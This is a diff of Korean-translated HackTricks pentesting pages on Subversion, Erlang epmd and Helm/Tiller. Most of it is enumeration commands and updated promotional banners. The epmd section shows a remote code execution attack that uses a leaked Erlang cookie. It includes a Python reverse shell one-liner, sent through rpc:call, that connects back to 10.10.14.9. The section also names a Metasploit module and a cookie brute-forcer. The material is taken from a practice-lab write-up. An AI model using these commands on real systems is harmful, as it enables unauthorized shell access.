<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
**Subversion**은 프로젝트의 현재 및 과거 데이터를 관리하는 데 중요한 역할을 하는 중앙 집중식 **버전 관리 시스템**입니다. 이 **오픈 소스** 도구는 **Apache 라이선스** 하에 작동합니다. 이 시스템은 **소프트웨어 버전 관리 및 수정 제어**의 능력으로 널리 알려져 있으며, 사용자가 시간에 따른 변경 사항을 효율적으로 추적할 수 있도록 보장합니다.
|
**Subversion**은 프로젝트의 현재 및 과거 데이터를 관리하는 데 중요한 역할을 하는 중앙 집중식 **버전 관리 시스템**입니다. **오픈 소스** 도구로서 **Apache 라이선스** 하에 운영됩니다. 이 시스템은 **소프트웨어 버전 관리 및 수정 제어** 기능으로 널리 인정받아, 사용자가 시간에 따라 변경 사항을 효율적으로 추적할 수 있도록 보장합니다.
|
||||||
|
|
||||||
**기본 포트:** 3690
|
**기본 포트:** 3690
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
3690/tcp open svnserve Subversion
|
3690/tcp open svnserve Subversion
|
||||||
```
|
```
|
||||||
## 배너 그랩핑
|
## 배너 수집
|
||||||
|
|
||||||
Banner Grabbing은 네트워크 서비스를 탐지하고 식별하기 위해 사용되는 기술입니다. 이 기술은 서버가 클라이언트에게 응답하는 배너 메시지를 수집하여 서비스의 버전 및 운영 체제 정보를 확인하는 데 사용됩니다. 배너 그랩핑은 서비스의 취약점을 식별하고 악용하는 데 도움이 될 수 있습니다.
|
|
||||||
|
|
||||||
Banner Grabbing은 다양한 방법으로 수행될 수 있습니다. 일반적으로는 Telnet이나 Netcat과 같은 도구를 사용하여 서버에 연결하고, 서버가 응답하는 배너 메시지를 확인합니다. 또는 자동화된 도구를 사용하여 여러 서버에 대한 배너 그랩핑을 수행할 수도 있습니다.
|
|
||||||
|
|
||||||
Banner Grabbing은 서비스의 버전 정보를 확인하는 데 도움이 되므로, 해당 버전에 대한 알려진 취약점을 찾을 수 있습니다. 이를 통해 공격자는 서비스에 대한 악용 가능성을 평가하고, 취약점을 악용하여 시스템에 침투할 수 있습니다.
|
|
||||||
|
|
||||||
Banner Grabbing은 네트워크 서비스 펜테스팅에서 중요한 단계입니다. 서비스의 버전 및 운영 체제 정보를 확인하여 취약점을 식별하고, 보안 조치를 취할 수 있습니다. 따라서 펜테스터는 배너 그랩핑을 통해 서비스의 취약점을 찾고, 시스템을 보호하기 위한 조치를 취해야 합니다.
|
|
||||||
```
|
```
|
||||||
nc -vn 10.10.10.10 3690
|
nc -vn 10.10.10.10 3690
|
||||||
```
|
```
|
||||||
## 열거
|
## 열거
|
||||||
|
|
||||||
### SVN 서버 확인
|
|
||||||
|
|
||||||
- SVN 서버의 존재 여부를 확인하기 위해 nmap을 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
nmap -p 3690 <target_ip>
|
|
||||||
```
|
|
||||||
|
|
||||||
- 만약 포트가 열려 있다면, SVN 서버가 실행 중인 것입니다.
|
|
||||||
|
|
||||||
### SVN 서버 정보 수집
|
|
||||||
|
|
||||||
- SVN 서버에 대한 정보를 수집하기 위해 svn 명령어를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
svn info svn://<target_ip>:3690
|
|
||||||
```
|
|
||||||
|
|
||||||
- 이 명령어를 사용하면 SVN 서버의 URL, 레포지토리 경로, 최신 리비전 등의 정보를 얻을 수 있습니다.
|
|
||||||
|
|
||||||
### SVN 서버 레포지토리 브라우징
|
|
||||||
|
|
||||||
- SVN 서버의 레포지토리를 브라우징하기 위해 svn 명령어를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
svn ls svn://<target_ip>:3690/<repository_path>
|
|
||||||
```
|
|
||||||
|
|
||||||
- 이 명령어를 사용하면 해당 레포지토리의 파일 및 디렉토리 목록을 확인할 수 있습니다.
|
|
||||||
|
|
||||||
### SVN 서버 파일 다운로드
|
|
||||||
|
|
||||||
- SVN 서버에서 파일을 다운로드하기 위해 svn 명령어를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
svn checkout svn://<target_ip>:3690/<repository_path>/<file_name>
|
|
||||||
```
|
|
||||||
|
|
||||||
- 이 명령어를 사용하면 해당 파일을 다운로드할 수 있습니다.
|
|
||||||
|
|
||||||
### SVN 서버 파일 업로드
|
|
||||||
|
|
||||||
- SVN 서버에 파일을 업로드하기 위해 svn 명령어를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
svn import <local_file_path> svn://<target_ip>:3690/<repository_path>/<file_name> -m "Upload file"
|
|
||||||
```
|
|
||||||
|
|
||||||
- 이 명령어를 사용하면 로컬 파일을 SVN 서버에 업로드할 수 있습니다.
|
|
||||||
|
|
||||||
### SVN 서버 파일 수정
|
|
||||||
|
|
||||||
- SVN 서버의 파일을 수정하기 위해 svn 명령어를 사용할 수 있습니다.
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
svn checkout svn://<target_ip>:3690/<repository_path>/<file_name>
|
|
||||||
```
|
|
||||||
|
|
||||||
- 해당 파일을 수정한 후, 다음 명령어를 사용하여 수정 사항을 커밋할 수 있습니다.
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
svn commit -m "Update file"
|
|
||||||
```
|
|
||||||
|
|
||||||
- 이 명령어를 사용하면 수정한 내용이 SVN 서버에 반영됩니다.
|
|
||||||
```bash
|
```bash
|
||||||
svn ls svn://10.10.10.203 #list
|
svn ls svn://10.10.10.203 #list
|
||||||
svn log svn://10.10.10.203 #Commit history
|
svn log svn://10.10.10.203 #Commit history
|
||||||
svn checkout svn://10.10.10.203 #Download the repository
|
svn checkout svn://10.10.10.203 #Download the repository
|
||||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
**Erlang Port Mapper Daemon (epmd)**는 분산 Erlang 인스턴스의 조정자로 작동합니다. 이는 심볼릭 노드 이름을 기계 주소에 매핑하여 각 노드 이름이 특정 주소와 연결되도록 보장하는 역할을 합니다. **epmd**의 이 역할은 네트워크 상에서 서로 다른 Erlang 노드 간의 원활한 상호작용과 통신을 위해 중요합니다.
|
**Erlang Port Mapper Daemon (epmd)**는 분산 Erlang 인스턴스의 조정자로 작용합니다. 이는 기호 노드 이름을 머신 주소에 매핑하는 역할을 하며, 각 노드 이름이 특정 주소와 연결되도록 보장합니다. **epmd**의 이 역할은 네트워크를 통해 서로 다른 Erlang 노드 간의 원활한 상호작용과 통신에 매우 중요합니다.
|
||||||
|
|
||||||
**기본 포트**: 4369
|
**기본 포트**: 4369
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||||
```
|
```
|
||||||
이것은 기본적으로 RabbitMQ 및 CouchDB 설치에서 사용됩니다.
|
이것은 RabbitMQ 및 CouchDB 설치에서 기본적으로 사용됩니다.
|
||||||
|
|
||||||
# 열거
|
# 열거
|
||||||
|
|
||||||
|
@ -37,22 +38,6 @@ erl #Once Erlang is installed this will promp an erlang terminal
|
||||||
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
||||||
```
|
```
|
||||||
## 자동
|
## 자동
|
||||||
|
|
||||||
The Erlang Port Mapper Daemon (EPMD) is a service that runs on the default port 4369 in Erlang-based systems. It is responsible for managing the distribution of Erlang nodes and facilitating communication between them.
|
|
||||||
|
|
||||||
EPMD provides a simple and lightweight protocol that allows Erlang nodes to register themselves and discover other nodes on the network. This makes it easier for Erlang applications to establish connections and communicate with each other.
|
|
||||||
|
|
||||||
As a pentester, it is important to understand EPMD and its potential security vulnerabilities. By exploiting weaknesses in EPMD, an attacker can gain unauthorized access to Erlang nodes and potentially compromise the entire system.
|
|
||||||
|
|
||||||
One common vulnerability is the lack of authentication in EPMD. By default, EPMD does not require any authentication, allowing anyone to connect to it and query information about registered nodes. This can be exploited by an attacker to gather information about the system and potentially launch further attacks.
|
|
||||||
|
|
||||||
Another vulnerability is the potential for EPMD to leak sensitive information. When a node registers with EPMD, it sends its name and IP address. This information can be intercepted by an attacker and used to gather intelligence about the system's architecture and potential targets.
|
|
||||||
|
|
||||||
To mitigate these vulnerabilities, it is recommended to secure EPMD by implementing authentication mechanisms. This can be done by configuring EPMD to require a password or by using SSL/TLS encryption to secure the communication between nodes.
|
|
||||||
|
|
||||||
Additionally, it is important to regularly update Erlang-based systems to ensure that any known vulnerabilities in EPMD are patched. By keeping the system up to date, you can minimize the risk of exploitation and protect your network from potential attacks.
|
|
||||||
|
|
||||||
In conclusion, understanding EPMD and its vulnerabilities is crucial for pentesters. By exploiting weaknesses in EPMD, an attacker can gain unauthorized access to Erlang nodes and compromise the system. Implementing authentication mechanisms and keeping the system up to date are essential for securing EPMD and protecting your network.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
||||||
|
|
||||||
|
@ -69,9 +54,9 @@ PORT STATE SERVICE VERSION
|
||||||
```
|
```
|
||||||
# Erlang Cookie RCE
|
# Erlang Cookie RCE
|
||||||
|
|
||||||
## 원격 연결
|
## Remote Connection
|
||||||
|
|
||||||
인증 쿠키를 유출할 수 있다면 호스트에서 코드를 실행할 수 있습니다. 일반적으로 이 쿠키는 `~/.erlang.cookie`에 위치하며, erlang에서 처음 시작할 때 생성됩니다. 수동으로 수정되거나 설정되지 않은 경우, 이는 길이가 20인 무작위 문자열 [A:Z]입니다.
|
만약 **인증 쿠키**를 **유출**할 수 있다면, 호스트에서 코드를 실행할 수 있습니다. 일반적으로 이 쿠키는 `~/.erlang.cookie`에 위치하며, erlang이 처음 시작할 때 생성됩니다. 수정되거나 수동으로 설정되지 않은 경우, 길이가 20자인 \[A:Z]의 무작위 문자열입니다.
|
||||||
```bash
|
```bash
|
||||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||||
|
@ -84,13 +69,13 @@ At last, we can start an erlang shell on the remote system.
|
||||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||||
```
|
```
|
||||||
더 많은 정보는 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)에서 확인할 수 있습니다.\
|
더 많은 정보는 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)에서 확인할 수 있습니다.\
|
||||||
저자는 쿠키를 무차별 대입하는 프로그램도 공유하고 있습니다:
|
저자는 쿠키를 브루트포스하는 프로그램도 공유합니다:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||||
|
|
||||||
## 로컬 연결
|
## 로컬 연결
|
||||||
|
|
||||||
이 경우에는 CouchDB를 남용하여 권한을 로컬로 승격시킬 것입니다:
|
이 경우 우리는 CouchDB를 악용하여 로컬에서 권한을 상승시킬 것입니다:
|
||||||
```bash
|
```bash
|
||||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||||
|
@ -98,7 +83,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||||
```
|
```
|
||||||
예시는 [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)에서 가져왔습니다.\
|
예시는 [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)에서 가져왔습니다.\
|
||||||
**Canape HTB 머신을 사용하여** 이 취약점을 **공격하는 방법을 연습**할 수 있습니다.
|
**Canape HTB 머신을 사용하여** 이 **취약점을 악용하는 방법을 연습할 수 있습니다**.
|
||||||
|
|
||||||
## Metasploit
|
## Metasploit
|
||||||
```bash
|
```bash
|
||||||
|
@ -107,19 +92,20 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
||||||
```
|
```
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
* `port:4369 "at port"`
|
* `port:4369 "포트에서"`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요. 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,31 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
Helm은 Kubernetes의 **패키지 매니저**입니다. YAML 파일을 패키지화하여 공개 및 비공개 저장소에서 배포할 수 있습니다. 이러한 패키지를 **Helm Charts**라고 합니다. **Tiller**는 기본적으로 포트 44134에서 실행되는 **서비스**입니다.
|
Helm은 **패키지 관리자**입니다. Kubernetes를 위한. YAML 파일을 패키징하고 공개 및 비공식 저장소에 배포할 수 있습니다. 이러한 패키지를 **Helm Charts**라고 합니다. **Tiller**는 기본적으로 포트 44134에서 실행되는 **서비스**입니다.
|
||||||
|
|
||||||
**기본 포트:** 44134
|
**기본 포트:** 44134
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
44134/tcp open unknown
|
44134/tcp open unknown
|
||||||
```
|
```
|
||||||
# 열거
|
# Enumeration
|
||||||
|
|
||||||
만약 다른 네임스페이스의 팟과/또는 서비스를 **열거할 수 있다면**, 열거하고 그 중에서 **이름에 "tiller"이 포함된 것**을 찾으세요:
|
다양한 네임스페이스의 **pods 및/또는 서비스**를 **열거**할 수 있다면, 이를 열거하고 **이름에 "tiller"가 포함된 것**을 검색하십시오:
|
||||||
```bash
|
```bash
|
||||||
kubectl get pods | grep -i "tiller"
|
kubectl get pods | grep -i "tiller"
|
||||||
kubectl get services | grep -i "tiller"
|
kubectl get services | grep -i "tiller"
|
||||||
|
@ -34,33 +35,6 @@ kubectl get pods -n <namespace> | grep -i "tiller"
|
||||||
kubectl get services -n <namespace> | grep -i "tiller"
|
kubectl get services -n <namespace> | grep -i "tiller"
|
||||||
```
|
```
|
||||||
예시:
|
예시:
|
||||||
|
|
||||||
## Tiller and Helm
|
|
||||||
|
|
||||||
### Tiller
|
|
||||||
|
|
||||||
Tiller은 Kubernetes 클러스터 내에서 Helm 차트를 설치하고 관리하는 데 사용되는 서버 구성 요소입니다. Tiller는 클라이언트 요청을 받아들이고 클러스터 내에서 차트를 릴리스하고 업데이트하는 역할을 합니다.
|
|
||||||
|
|
||||||
Tiller는 기본적으로 권한 부여되지 않은 상태로 설치되며, 클러스터 내에서 실행되는 모든 작업에 대한 권한을 가지게 됩니다. 이는 잠재적으로 보안 위험을 초래할 수 있습니다.
|
|
||||||
|
|
||||||
### Helm
|
|
||||||
|
|
||||||
Helm은 Kubernetes 애플리케이션을 패키징하고 배포하기 위한 패키지 관리자입니다. Helm은 차트라는 패키지 형식을 사용하여 애플리케이션을 설치하고 업그레이드하며, 이를 통해 애플리케이션의 배포를 자동화할 수 있습니다.
|
|
||||||
|
|
||||||
Helm은 Tiller와 함께 사용되며, Tiller를 통해 클러스터 내에서 차트를 관리합니다. 따라서 Tiller의 보안 취약점은 Helm을 통해 악용될 수 있습니다.
|
|
||||||
|
|
||||||
### Tiller and Helm Pentesting
|
|
||||||
|
|
||||||
Tiller와 Helm은 Kubernetes 환경에서 중요한 역할을 수행하므로, 이들의 보안 취약점을 식별하고 테스트하는 것은 중요합니다. Tiller와 Helm을 펜테스팅하기 위해 다음과 같은 기법을 사용할 수 있습니다:
|
|
||||||
|
|
||||||
- Tiller 서버의 취약한 버전 식별
|
|
||||||
- Tiller 서버의 권한 상승 공격
|
|
||||||
- Tiller 서버의 인증 및 권한 부여 구성 검사
|
|
||||||
- Tiller 서버의 릴리스 정보 노출 검사
|
|
||||||
- Tiller 서버의 릴리스 업데이트 및 삭제 공격
|
|
||||||
- Helm 클라이언트의 구성 파일 분석 및 악용
|
|
||||||
|
|
||||||
이러한 기법을 사용하여 Tiller와 Helm의 보안 취약점을 식별하고, 적절한 보안 조치를 취할 수 있습니다.
|
|
||||||
```bash
|
```bash
|
||||||
kubectl get pods -n kube-system
|
kubectl get pods -n kube-system
|
||||||
NAME READY STATUS RESTARTS AGE
|
NAME READY STATUS RESTARTS AGE
|
||||||
|
@ -72,39 +46,40 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
||||||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||||
